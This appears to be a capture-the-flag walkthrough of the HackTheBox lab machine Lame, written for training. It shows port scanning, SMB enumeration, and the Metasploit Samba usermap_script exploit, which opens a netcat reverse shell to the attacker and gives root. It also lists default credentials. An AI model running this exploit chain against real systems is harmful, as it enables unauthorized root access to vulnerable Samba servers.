CHALLENGE INFORMATION
 | Platform: HackTheBox Collection: Beginner Track Machine: Lame Released: 14/03/2017 |
MACHINE SYNOPSIS
Lame is an easy Linux machine, requiring only one exploit to obtain root access. It was the first machine published on Hack The Box and was often the first machine for new users prior to its retirement.
Preparations
There are several methods to connect to the target machine. Throughout this walkthrough, we employ the provided pwnbox.
Once connected, we spawn the target machine.
Additionally – even though not required – we may set a local variable (available only in the current shell) containing our target host’s IP address. Once set, we access it by prepending $ to the variable name.
user@kali:~$ rhost=<targetbox-ip>
user@kali:~$ echo $rhost
<targetbox-ip>
user@kali:~$We can use the unset command to remove it after we no longer need it.
user@kali:~$ unset rhostInformation Gathering
We start with a quick connectivity check.
user@kali:~$ ping -c 4 -n -R $rhost > connection-test.txt
user@kali:~$ cat connection-test.txt
...
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
...
user@kali:~$Since our target is already up and running, we proceed with a TCP SYN scan of all ports.
user@kali:~$ nmap -Pn -sT -p- -min-rate 5000 -oN nmap-syn-allports-scan $rhost
...
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
...
user@kali:~$Four ports are reported to be open. We use the default scripts and version scanning to obtain more detailed information about them.
user@kali:~$ nmap -Pn -sT -sC -sV -p 21,22,139,445 -oN nmap-syn-version-script-scan $rhost
...
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
...
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
...
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
...
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
...
user@kali:~$Several interesting details emerge from this report:
- FTP anonymous login is allowed on port 21; version vsFTPd 2.3.4
- SSH version: OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
- Potential SMB shares on port 139 (older, running on NetBIOS; same network only)
- Potential SMB shares on port 445 (newer, running on TCP)
- OS: probably Ubuntu 8.04.4 LTS (Hardy Heron)
Since guest login appears to be enabled, enumerating FTP is a logical starting point.
user@kali:~$ ftp $rhost
Connected to 10.129.179.224.
220 (vsFTPd 2.3.4)
Name (10.129.179.224:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> exit
221 Goodbye.
user@kali:~$Unfortunately, the share appears to be empty. Since FTP provided no useful information, we continue our reconnaissance by extensively enumerating the Samba shares.
user@kali:~$ nmap -Pn --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-services.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse -p445 $rhost
...
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-enum-users:
| LAME\backup (RID: 1068)
| Full name: backup
| Flags: Account disabled, Normal user account
...
| LAME\msfadmin (RID: 3000)
| Full name: msfadmin,,,
| Flags: Normal user account
...
| LAME\user (RID: 3002)
| Full name: just a user,111,,
| Flags: Normal user account
...
| smb-enum-shares:
| account_used: <blank>
...
| \\10.129.179.224\IPC$:
| Type: STYPE_IPC
| Comment: IPC Service (lame server (Samba 3.0.20-Debian))
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
...
| \\10.129.179.224\tmp:
| Type: STYPE_DISKTREE
| Comment: oh noes!
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
|_ Anonymous access: READ/WRITE
...
user@kali:~$Only two users appear to be enabled: msfadmin and user. Regarding the shares, the only one we are allowed to access is the tmp share (not counting IPC$, which is usually empty or unimportant).
A quick online search reveals multiple potential attack vectors:
- Possible default credentials: msfadmin:msfadmin
- Potential Metasploit exploit: exploit/samba/usermap_script
Exploitation
We launch the Metasploit Framework console and examine the aforementioned exploit.
user@kali:~$ msfconsole -q
[msf](Jobs:0 Agents:0) >> use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> info
...
Name: Samba "username map script" Command Execution
Module: exploit/multi/samba/usermap_script
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2007-05-14
...
Description:
This module exploits a command execution vulnerability in Samba
versions 3.0.20 through 3.0.25rc3 when using the non-default
"username map script" configuration option. By specifying a username
containing shell meta characters, attackers can execute arbitrary
commands. No authentication is needed to exploit this vulnerability
since this option is used to map usernames prior to authentication!
...
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >>Once we verify that the script performs the desired function, we list its configuration settings.
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> show options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/do
cs/using-metasploit/basics/using-metasploit.html
RPORT 139 yes The target port (TCP)
...
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 64.227.43.138 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
...
Exploit target:
Id Name
-- ----
0 Automatic
...
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >>Two fields require adjustment: rhosts and lhost. The first refers to our target machine ($rhost), the second to our pwnbox (attacker machine).
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> set rhosts 10.129.179.224
rhosts => 10.129.179.224
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> set lhost tun0
lhost => 10.10.14.2
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >>Since no check support is available for this particular exploit, we simply run it after completing the setup.
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> run
[*] Started reverse TCP handler on 10.10.14.2:4444
[*] Command shell session 1 opened (10.10.14.2:4444 -> 10.129.179.224:51537) at ...The exploit runs successfully and provides us with a root shell on the target.
whoami
rootHowever, this shell connection is neither stable nor interactive, so we proceed to upgrade it.
which python
/usr/bin/python
python -c 'import pty; pty.spawn("/bin/bash")'
root@lame:/# export TERM=xterm
export TERM=xterm
root@lame:/# clear
clearPost-Exploitation
Although echoing is not turned off, the shell is much more functional than before. Exploring the file system reveals both the user and root flags, which we then retrieve.
root@lame:/# cd /home/makis/
...
root@lame:/home/makis# ls -hla
...
-rw-r--r-- 1 makis makis 33 ... user.txt
root@lame:/home/makis# cat user.txt
...
<redacted-user-flag>
root@lame:/home/makis# cd /root/
...
root@lame:/root# ls -hla
...
-rw------- 1 root root 33 ... root.txt
...
root@lame:/root# cat root.txt
...
<redacted-root-flag>
root@lame:/root#We have successfully compromised the target machine. All that remains is to terminate the target box (if it is not terminated automatically) before proceeding to the next challenge.